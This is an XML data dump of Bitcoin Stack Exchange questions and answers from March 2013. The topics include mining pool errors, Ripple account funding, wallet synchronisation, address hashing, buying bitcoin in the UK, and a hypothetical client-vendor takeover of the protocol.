  <row Id="8869" PostTypeId="1" CreationDate="2013-03-30T19:20:11.427" Score="1" ViewCount="1995" Body="&lt;p&gt;I'm trying to setup a pool for me and my friends as a test to start with put i have it all setup but it's not working properly,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GUI Miner Console output &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2013-03-30 19:08:43: Running command: poclbm.exe barkermn01.01:r5kjp9lk@192.168.0.9:8342 --device=1 --platform=0 --verbose -r1 &#xA;2013-03-30 19:08:43: Listener for &quot;Second Miner&quot; started&#xA;2013-03-30 19:08:46: Listener for &quot;Second Miner&quot;: 192.168.0.9:8342 30/03/2013 19:08:46, started OpenCL miner on platform 0, device 1 (AMD A8-3870 APU with Radeon(tm) HD Graphics)&#xA;2013-03-30 19:08:46: Listener for &quot;Second Miner&quot;: 192.168.0.9:8342 30/03/2013 19:08:46, checking for stratum...&#xA;2013-03-30 19:08:46: Listener for &quot;Second Miner&quot;: 192.168.0.9:8342 30/03/2013 19:08:46, no response to getwork, using as stratum&#xA;2013-03-30 19:08:56: Listener for &quot;Second Miner&quot;: 192.168.0.9:8342 30/03/2013 19:08:56, Failed to subscribe&#xA;2013-03-30 19:08:58: Listener for &quot;Second Miner&quot;: 192.168.0.9:8342 30/03/2013 19:08:58, IO errors - 1, tolerance 2&#xA;2013-03-30 19:09:08: Listener for &quot;Se2013-03-30 19:09:10: Listener for &quot;Second Miner&quot;: 192.168.0.9:8342 30/03/2013 19:09:10, IO errors - 2, tolerance 2&#xA;2013-03-30 19:09:11: Listener for &quot;Second Miner&quot; shutting down&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Server Response&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2013-03-30 19:08:38.356196] Listening on host :: port 8342&#xA;[2013-03-30 19:08:38.360453] Listening on host :: port 8341&#xA;[2013-03-30 19:08:38.361248] Listening on host :: port 8332&#xA;[2013-03-30 19:08:38.363738] Listening on host 127.0.0.1 port 8338&#xA;[2013-03-30 19:08:38.371768] initialized&#xA;[2013-03-30 19:08:46.337346] client host ::ffff:192.168.0.7 port 62008 connected&#xA;[2013-03-30 19:08:46.339029] client host ::ffff:192.168.0.7 port 62009 connected&#xA;[2013-03-30 19:08:58.343650] client host ::ffff:192.168.0.7 port 62010 connected&#xA;[2013-03-30 19:09:10.348276] client host ::ffff:192.168.0.7 port 62011 connected&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;does any one know what this error means and how i stop it?&lt;/p&gt;&#xA;" OwnerUserId="3727" LastEditorUserId="105" LastEditDate="2013-03-30T20:36:28.773" LastActivityDate="2013-03-30T20:36:28.773" Title="Pushpool GUI Miner failed to subscribe" Tags="|mining-pools|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8871" PostTypeId="1" AcceptedAnswerId="8874" CreationDate="2013-03-30T20:26:13.037" Score="1" ViewCount="128" Body="&lt;p&gt;I just saw &lt;a href=&quot;https://bitcointalk.org/index.php?action=profile;u=24749&quot; rel=&quot;nofollow&quot;&gt;some people&lt;/a&gt; that were once labeled &quot;Scammers&quot; are now labeled &quot;Untrustworthy&quot; instead. Does anyone retain scammer tags, or was this a rename? Where was this discussed/announced?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-03-30T22:48:27.507" Title="What is the &quot;Untrustworthy&quot; tag on bitcointalk?" Tags="|forum|bitcointalk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8872" PostTypeId="1" AcceptedAnswerId="8880" CreationDate="2013-03-30T21:17:03.880" Score="7" ViewCount="4382" Body="&lt;p&gt;So I have created a ripple account and now I need to get funded with 100 XRP to get started and be able to grant trust, otherwise the account is pretty much useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In bitcointalk, there is a giveaway of XRP to &quot;qualified&quot; members. If you are not one of them, what are other options except just asking for donations? Will this be something all new users have to face in the future too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could not find a way to buy XRP without establishing trust first.&lt;/p&gt;&#xA;" OwnerUserId="3731" LastEditorDisplayName="user6398" LastEditDate="2013-11-03T13:00:30.560" LastActivityDate="2013-11-03T13:00:30.560" Title="Where to get initial ripple funding?" Tags="|ripple|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8874" PostTypeId="2" ParentId="8871" CreationDate="2013-03-30T22:48:27.507" Score="2" Body="&lt;p&gt;People still have scammer tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Untrustworthy&quot; is technically different than the scammer tag - the latter is a forum position, which appears in a certain place and has a specific icon. In Matthew's case it is just a custom title, usually reserved for VIP donators who can write there whatever they want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose Matthew's tag was commuted as part of his rehabilitation process.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-03-30T22:48:27.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8875" PostTypeId="1" AcceptedAnswerId="8891" CreationDate="2013-03-30T23:07:42.200" Score="14" ViewCount="1128" Body="&lt;p&gt;I've been asking this in the comments, but I'll be more direct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a third-party Bitcoin client, say &quot;iBitcoin&quot; (for example), becomes the dominant client by acquiring most of the market share, what would keep the vendor from unilaterally changing the Bitcoin protocol to their own advantage?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Consider the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;iBitcoin gains 75% market share because, well, it's so awesome&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At some point the vendor decides to change the rules so that it starts mining its own branch on the blockchain, but with a block creation fee that's significantly higher and can be adjusted at will. (See rules below)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;iBitcoin users don't care because they are still able to exchange bitcoins back and forth with users of other clients, nor do users of other clients care. It's all hunky-dory in Bitcoin land. (See rules below)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here are the rules that iBitcoin follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The iBitcoin branch is a copy of the main branch, block for block, with the exception that a &lt;em&gt;second&lt;/em&gt; coinbase transaction is included paying out to the iBitcoin vendor's address. All coins in the iBitcoin branch can now trace their origin back to either the main coinbase or the secondary coinbase. Let's call these extra coins &quot;new bitcoins&quot; (BTC2). The main branch won't accept transactions from these coins, but that's OK.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Proof-of-work is eliminated in favor of the vendor's digital signature. Block signing happens on a central server.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To keep things simple, a transaction can include as its inputs either bitcoins (BTC) or &quot;new bitcoins&quot; (BTC2) but not both&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now the UI shows new bitcoins separately so that the user knows that these new bitcoins can't be paid to someone who uses a different client (like the Satoshi client), but they &lt;em&gt;can&lt;/em&gt; be paid to another iBitcoin user. In other words, iBitcoin users accept payments in BTC or BTC2, others accept only BTC. The two currencies trade separately on the exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to the network effect, almost everyone eventually switches over to iBitcoin (or a compatible client). Gresham's law says BTC eventually becomes an item to be hoarded, just like gold, whereas BTC2 is used for day-to-day commerce, just like the dollar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please explain flaws in my design of iBitcoin and why it won't work.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Are we in trouble?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;What keeps this from happening? As it see it: nothing. It's going to happen eventually. I call it the &quot;embrace and extend&quot; attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this indeed works (and that's my question), then the vendor doesn't even need 75% market share to begin with. It could start with 5% market share and a scheme for giving out 100 BTC2 for every new sign-up, along with a referral scheme so that users have an incentive to bring in more users. Since BTC2 is pretty much created out of thin air, the rewards could be increased until a significant adoption rate has been achieved. Rewards could also be in BTC instead of BTC2, or even in US dollars for that matter. Achieving adoption is no big deal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that &quot;BTC2&quot; is the red herring here. It's not about creating an alternate currency, it's about creating an alternate blockchain that is controlled by the vendor. Hash power is overrated; if you control the clients, you own the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back to the question: What keeps this from happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the answer is that the Bitcoin community would never accept such a thing, well, sure, I'm sure the &quot;World Wide Web&quot; community said the same back when Microsoft was still working on Internet Explorer 1.0. I wonder how things would have turned out had the US Department of Justice not stepped in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the answer is that a Bitcoin client that deviates from the rules of the Bitcoin protocol is not really a Bitcoin client, again, that's like saying a web browser that does not render HTML as per the rules set out by the W3C is not really a web browser. It's technically correct, but it doesn't mean anything. For all practical purposes the version of Bitcoin that has the majority of the market share is the &quot;real Bitcoin.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I hope that I'm wrong and that there is in fact a defense built into the protocol.&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="5406" LastEditDate="2016-08-21T18:28:18.213" LastActivityDate="2016-08-21T18:28:18.213" Title="What keeps a dominant Bitcoin client vendor with the majority of the market share from unilaterally changing the protocol?" Tags="|blockchain|alternatives|blockchain-fork|money-supply|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8876" PostTypeId="2" ParentId="1265" CreationDate="2013-03-30T23:17:10.740" Score="1" Body="&lt;p&gt;The whole point of money is/was to provide a stable and diversely exchangable store of value. We now simultaneously inhabit a global, national and local community within which to trade. So lets value the world. Each country presently has a share of the global pot which is represented by the relative value of its currency. So call this day one. Set the median point as the value of our 'standard' (call it the Bitcoin if you like). The standard will only move if value is added or subtracted from the whole world economy. But the relative value of individual currencies will move coz as one countrys fortunes improve their currency will evaluate against the standard, while anothers will fall to compensate. Now you have a 'standard' that is immune from significant inflation/deflation, while still allowing people to speculate on any individual countrys relative performance against the standard or each other. This will encourage international competition, leading to economic growth. &#xA;The whole point of gold as a standard was to establish that global 'fix' while providing a base for relative local commodity value. We now have the info to move away from archaic gold, plus stop local governments cooking the books....the numbers can do the job far better and be totally transparent.&lt;/p&gt;&#xA;" OwnerUserId="3732" LastEditorUserId="3732" LastEditDate="2013-03-30T23:23:01.917" LastActivityDate="2013-03-30T23:23:01.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8877" PostTypeId="1" CreationDate="2013-03-30T23:23:04.373" Score="1" ViewCount="996" Body="&lt;p&gt;His Bitcoin wallet was only 1% synchronized with the network and yet he was able to receive and send bitcoins without any problems?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the implications / ramifications of this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does this mean?&lt;/p&gt;&#xA;" OwnerUserId="3734" LastEditorUserId="105" LastEditDate="2013-03-31T11:33:29.520" LastActivityDate="2013-04-01T00:56:35.430" Title="My mate received and then sent a Bitcoin transaction before his wallet was synchronised and it worked perfectly" Tags="|transactions|network|synchronization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8878" PostTypeId="2" ParentId="8866" CreationDate="2013-03-30T23:46:35.087" Score="7" Body="&lt;p&gt;The short answer: using the info you and your friend provided, Ripple did what was best for everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to pull up the details of the transaction number you link to (I have no affiliation with Ripple other than as a user). But using the &lt;a href=&quot;https://ripple.com/graph&quot;&gt;Ripple Live Graph&lt;/a&gt; I can infer the account of your friend and I note that currently your friend has no trust line to Bitstamp.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;why didn't it send entirely Bitstamp BTC to Bitstamp?&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I'm &lt;strong&gt;guessing&lt;/strong&gt; that what happened was that your friend had 0.1022 BTC IOU from Bitstamp but had the trust set to zero indicating they don't want more and would like to get rid of what they have (i.e. your friend told Ripple they don't trust Bitstamp). Your friend had specified that they trust you to pay them back BTC by opening a trust line to you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's in your friends best interests to hold an IOU from a trusted source (you) rather than an untrusted source (Bitstamp). It's in your interest to have Bitstamp get the funds you asked to send in the cheapest way possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way Ripple found to achieve both those results at once was to route part of your payment through your friend. Both directly sending back Bitstamp's IOU and routing through your friend had no transfer fee, only the 0.000010 XRP transaction fee) so either should be equally good to you.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;how are [we] supposed to settle that?&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As with any loan between friends it's up to you. With some friends I've made my repayment policies very clear, with others I'm more informal. [As an asside, I'll note that previous ripple implementations like &lt;a href=&quot;http://classic.ripplepay.com&quot;&gt;classic.ripplepay.com&lt;/a&gt; wouldn't let your friend trust you without you agreeing.]&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;i.e. should I explicitly send BTC through Ripple to my friend&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, that would &lt;strong&gt;add&lt;/strong&gt; to the debt, giving your friend more of your IOUs.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;or simply when he tries to spend them he'll tap from my pool (hence no explicit action is needed)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That is most likely the best option, and certainly the simplest. When they next send a payment, Ripple will consider going through you. If the recipient trusts you then they may end up with your IOU (by the way your IOUs have no trasfer fee, Bitstamp IOUs have a 0.2% transfer fee).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the recipient trusts Bitstamp (and you still hold the Bitstamp IOU) then the recipient may get Bitstamp IOUs and your IOU will decrease or zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If before this, you were to use your Bitstamp IOU in payments (e.g. to Bitstamp for withdraw) then you'd have a negative balance and your friend would be unable to use (spend) your IOU except to others that accept it (trust you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your friend wants to explicitly redeem your IOU (i.e. asks you to pay him back) you could send him actual bitcoin &lt;strong&gt;outside&lt;/strong&gt; of Ripple and at the same time he'd pay you the matching amount in Ripple to zero/decrease your debt. If you hold Bitstamp IOUs (perhaps you get some more via a deposit just so you have enough to cover your debt because you were asked to) you can just tell your friend to simply pay himself via his Bitstamp account.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-03-30T23:46:35.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8880" PostTypeId="2" ParentId="8872" CreationDate="2013-03-30T23:56:42.157" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If you are not one of them what are other options except just asking for donations?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could post on the &lt;a href=&quot;https://ripple.com/forum&quot; rel=&quot;nofollow&quot;&gt;ripple forums&lt;/a&gt; or on a ripple thread at bitcointalk. However, instead of asking/begging for a donation you should offer something, e.g. some small number of bitcents, cash, a favour, a promise to pay back the XRP with interest, etc.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Will this be something all new users have to face in the future too?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm sure by the time Ripple.com is out of beta there will be an easier way to get started. Possibly gateways will offer a one time funding of a Ripple accounts either for free of via whatever other currencies the gateways use.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-03-30T23:56:42.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8881" PostTypeId="2" ParentId="8760" CreationDate="2013-03-31T00:08:34.700" Score="2" Body="&lt;p&gt;Try looking around on &lt;a href=&quot;http://archive.ripple-project.org/&quot; rel=&quot;nofollow&quot;&gt;http://archive.ripple-project.org/&lt;/a&gt;, in particular: &lt;a href=&quot;http://archive.ripple-project.org/Main/Papers&quot; rel=&quot;nofollow&quot;&gt;http://archive.ripple-project.org/Main/Papers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, that site refers to the original Ripple project and implementations of it such as &lt;a href=&quot;http://classic.ripplepay.com&quot; rel=&quot;nofollow&quot;&gt;RipplePay&lt;/a&gt; and &lt;a href=&quot;http://villages.cc/&quot; rel=&quot;nofollow&quot;&gt;Villages&lt;/a&gt;. Ripple.com is the new distributed implementation of the Ripple project and although not discussed at that site, supported by the original project founder.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-03-31T00:08:34.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8882" PostTypeId="2" ParentId="8877" CreationDate="2013-03-31T00:33:21.590" Score="1" Body="&lt;p&gt;You don't have to do anything to receive Bitcoins. That's entirely passive. Your client doesn't have to be running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To send Bitcoins, you just need enough information to form the transaction. If you have the transaction that sent them to you and you know it was confirmed, that's sufficient.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-03-31T00:33:21.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8883" PostTypeId="1" CreationDate="2013-03-31T03:07:20.387" Score="4" ViewCount="490" Body="&lt;p&gt;I'm looking for a command line address calculator, where I can put in my private exponent and get out a bitcoin address in Base-58 encode. Does anyone know some free software that will allow me to do this? Basically like &lt;a href=&quot;http://brainwallet.org/&quot; rel=&quot;nofollow&quot;&gt;http://brainwallet.org/&lt;/a&gt; but off line. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks. &lt;/p&gt;&#xA;" OwnerUserId="3738" LastActivityDate="2019-02-28T13:31:16.243" Title="Command line address calculator?" Tags="|address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8884" PostTypeId="1" CreationDate="2013-03-31T04:16:42.033" Score="0" ViewCount="800" Body="&lt;p&gt;What are the specific steps, in order, required to transfer my bitcoins from their blockchain wallets to a bitcoin exchange?  Please be specific.  Thanks&lt;/p&gt;&#xA;" OwnerUserId="3739" LastActivityDate="2013-04-01T21:00:40.933" Title="Transferring bitcoins from my blockchain addresses to an exchange?" Tags="|transactions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8885" PostTypeId="1" AcceptedAnswerId="8886" CreationDate="2013-03-31T04:35:10.970" Score="4" ViewCount="107" Body="&lt;p&gt;I'm having issues following through the technical wiki here - &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Point 2 says to perform a SHA256 hash on the public key, which I'm understanding is &quot;0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try and perform a SHA256 hash on this using an online calculator such as &lt;a href=&quot;http://www.xorbin.com/tools/sha256-hash-calculator&quot; rel=&quot;nofollow&quot;&gt;http://www.xorbin.com/tools/sha256-hash-calculator&lt;/a&gt; I get a hash of 32511e82d56dcea68eb774094e25bab0f8bdd9bc1eca1ceeda38c7a43aceddce&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain to me why I'm getting a different hash to their example given? Am I assuming the wrong public key? Is it only meant to be a segment of that? Or does the wiki have a mistake. &lt;/p&gt;&#xA;" OwnerUserId="3740" LastActivityDate="2013-03-31T04:56:04.977" Title="Bitcoin Address Wiki Issue" Tags="|address|bitcoin-wiki|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8886" PostTypeId="2" ParentId="8885" CreationDate="2013-03-31T04:56:04.977" Score="4" Body="&lt;p&gt;The SHA256 hash tool you're using doesn't decode the hex into binary before hashing it. You can test that by passing in a string that isn't valid hex, like 'fhwdgads.' The wiki article assumes that you do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.fileformat.info/tool/hash.htm?hex=data&quot; rel=&quot;nofollow&quot;&gt;This one will do what you want if you select the &quot;Binary hash&quot; option.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-03-31T04:56:04.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8887" PostTypeId="1" CreationDate="2013-03-31T06:54:46.253" Score="3" ViewCount="642" Body="&lt;p&gt;If I understand correctly, each miner selects a set of pending transactions, puts them in a block, and then tries to sign that block. Pooled miners do the same, but the specific set of transactions is selected by the pool server.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since each block must link to the previous one, does it mean that whenever a new block is found (by another miner) the whole process must start over?&lt;/p&gt;&#xA;" OwnerUserId="3292" LastEditorUserId="5406" LastEditDate="2016-04-25T15:41:15.723" LastActivityDate="2016-04-25T15:41:15.723" Title="Do miners have to start over whenever a block is found?" Tags="|mining-pools|mining-theory|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8888" PostTypeId="2" ParentId="8884" CreationDate="2013-03-31T07:08:40.923" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;Your wallet contains one or more bitcoin addresses that are &lt;em&gt;yours&lt;/em&gt;. Pick one and copy it to your clipboard.&lt;/li&gt;&#xA;&lt;li&gt;Go to the deposit section of your exchange, select &quot;Deposit bitcoins&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Paste in your bitcoin address, plus type in the number of bitcoins to transfer in.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's it.&lt;/p&gt;&#xA;" OwnerUserId="3372" LastActivityDate="2013-03-31T07:08:40.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8889" PostTypeId="2" ParentId="8887" CreationDate="2013-03-31T07:23:39.427" Score="5" Body="&lt;p&gt;In a sense, yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However as the mining process is essentially guessing the right number from a very large set of possibilities it's misleading to say you start the process again as you're just as likely to guess the next block first try as you are to have guessed the previous block. You basically start the process each &quot;guess&quot; anyway, whether you try again on the same block or start trying a new one is of little consequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could very well find a new block the very second after you accept a block. In that case, you wouldn't have found a block if you had kept mining on the old block.&lt;/p&gt;&#xA;" OwnerUserId="3742" LastEditorUserId="2306" LastEditDate="2013-03-31T12:00:08.937" LastActivityDate="2013-03-31T12:00:08.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8891" PostTypeId="2" ParentId="8875" CreationDate="2013-03-31T09:29:47.640" Score="8" Body="&lt;p&gt;What you are describing there is a client that is a hybrid of Bitcoin and something else. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance there is nothing to stop you starting ManishCoin and writing a ManishBitcoinSuperClient. If you can get enough people to believe in ManishCoin then it becomes a useful currency. &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-03-31T09:29:47.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8892" PostTypeId="1" CreationDate="2013-03-31T12:33:33.213" Score="8" ViewCount="10494" Body="&lt;p&gt;After blockchain.info suspended Pingit, there is no convenient way to buy a small quantity of bitcoins. Any other alternatives to acquire bitcoins (mining or working are out of the questions.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've heard a &lt;a href=&quot;https://en.wikipedia.org/wiki/Single_Euro_Payments_Area&quot; rel=&quot;nofollow&quot;&gt;SEPA&lt;/a&gt; transfer will allow UK bank accounts holders to utilize European exchanges, unfortunately I am concerned about the legality of these exchanges (ie: who owns/runs the exchange, for example.) As such I would like the company to be based in the UK, where I have more protection if the transaction goes awry. &lt;/p&gt;&#xA;" OwnerUserId="3746" LastEditorUserId="3746" LastEditDate="2014-04-26T13:40:05.613" LastActivityDate="2014-04-26T13:40:05.613" Title="How can I buy Bitcoins in the UK now that Blockchain.info has suspended its deposits?" Tags="|exchanges|buy-bitcoins|europe|uk|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8893" PostTypeId="2" ParentId="8892" CreationDate="2013-03-31T13:13:36.463" Score="8" Body="&lt;p&gt;For small BTC purchases in the UK, &lt;a href=&quot;https://localbitcoins.com/&quot;&gt;https://localbitcoins.com/&lt;/a&gt; (LocalBitcoins) is the only viable option right now that I know of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other methods, mostly involving bank transfer arrangements, but be very careful to figure out how much you end up paying in total fees for it. It doesn't make much of a difference with large BTC orders, but for small amounts it's a fair % of costs.&lt;/p&gt;&#xA;" OwnerUserId="3748" LastActivityDate="2013-03-31T13:13:36.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8894" PostTypeId="1" CreationDate="2013-03-31T14:03:50.850" Score="0" ViewCount="352" Body="&lt;p&gt;I am new to Bitcoin and purchased a small amount some months ago and it does not show in my wallet even after finishing syncing. How to I find my bitcoins and get them to show in my wallet?&lt;/p&gt;&#xA;" OwnerUserId="3749" LastEditorUserId="105" LastEditDate="2013-03-31T18:26:22.870" LastActivityDate="2013-03-31T18:26:22.870" Title="Empty wallet after making a Bitcoin purchase" Tags="|wallet|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8895" PostTypeId="2" ParentId="8894" CreationDate="2013-03-31T14:50:09.753" Score="1" Body="&lt;p&gt;Fill in the address in &lt;a href=&quot;http://www.blockchain.info&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; and see where the funds have gone.&lt;/p&gt;&#xA;" OwnerUserId="3751" LastEditorUserId="105" LastEditDate="2013-03-31T18:25:15.957" LastActivityDate="2013-03-31T18:25:15.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8896" PostTypeId="2" ParentId="8875" CreationDate="2013-03-31T20:09:19.390" Score="1" Body="&lt;p&gt;Where Bitcoin happens is not in the iBitcoin client, but in the mining process. If you take this into account, this is exactly what all the talk about the 51% attack means. If not, then @jim618's answer applies: you'd be using something else than Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And Bitcoin is not only the client, it's the whole infrastructure of exchanges, payment processors, vendors etc. Microsoft didn't turn the internet into Micronet either.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2013-03-31T20:52:42.827" LastActivityDate="2013-03-31T20:52:42.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8897" PostTypeId="1" AcceptedAnswerId="8899" CreationDate="2013-03-31T20:18:29.490" Score="3" ViewCount="181" Body="&lt;p&gt;I was running &lt;code&gt;bitcoind&lt;/code&gt; from my &lt;code&gt;Linux&lt;/code&gt; box. I stopped the command when &lt;code&gt;~/.bitcoin&lt;/code&gt; size was about &lt;code&gt;5.8GB&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I started the daemon again. &lt;code&gt;~/.bitcoin&lt;/code&gt; size is now &lt;code&gt;7.2GB&lt;/code&gt;. Here is says that the blockchain weight about &lt;code&gt;6GB&lt;/code&gt;: &lt;a href=&quot;http://blockchain.info/charts/blocks-size&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/charts/blocks-size&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that webpage wrong? Maybe &lt;code&gt;bitcoind&lt;/code&gt; is downloading everything again and mixing both downloaded block, thus increasing the size to more than the stats at blockchain says.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A call to &lt;code&gt;getblockcount&lt;/code&gt; returns: &lt;strong&gt;225531&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I've found the total blocks count here: &lt;code&gt;http://blockexplorer.com/q/getblockcount&lt;/code&gt; (228972). I guess blockchain.info is not updated.&lt;/p&gt;&#xA;" OwnerUserId="3755" LastEditorUserId="1525" LastEditDate="2013-04-01T03:56:07.767" LastActivityDate="2013-04-01T03:56:07.767" Title="Are hardlinks responsible for the bitcoin data directory appearing larger than expected?" Tags="|blockchain|bitcoind|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
